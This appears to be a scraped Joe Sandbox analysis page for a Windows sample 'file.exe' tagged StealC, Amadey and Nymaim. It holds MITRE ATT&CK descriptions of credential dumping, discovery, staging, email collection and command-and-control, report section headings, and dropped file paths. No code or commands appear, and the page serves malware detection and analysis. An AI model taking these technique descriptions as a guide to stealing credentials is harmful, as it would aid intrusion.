Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Threatname: Nymaim

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\DGCFHIDAKECFHIEBFCGI

C:\ProgramData\EHJDGCBGDBKJKFHIECBA

C:\ProgramData\IEHDAFHDHCBFIDGCFIDGHJDGDA

C:\ProgramData\IIJJDGHJ

C:\ProgramData\JDAFBKECAKFCAAAKJDAKJEGDAF

C:\ProgramData\KECGHIJD

C:\ProgramData\KFHCAEGCBFHJDGCBFHDA

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre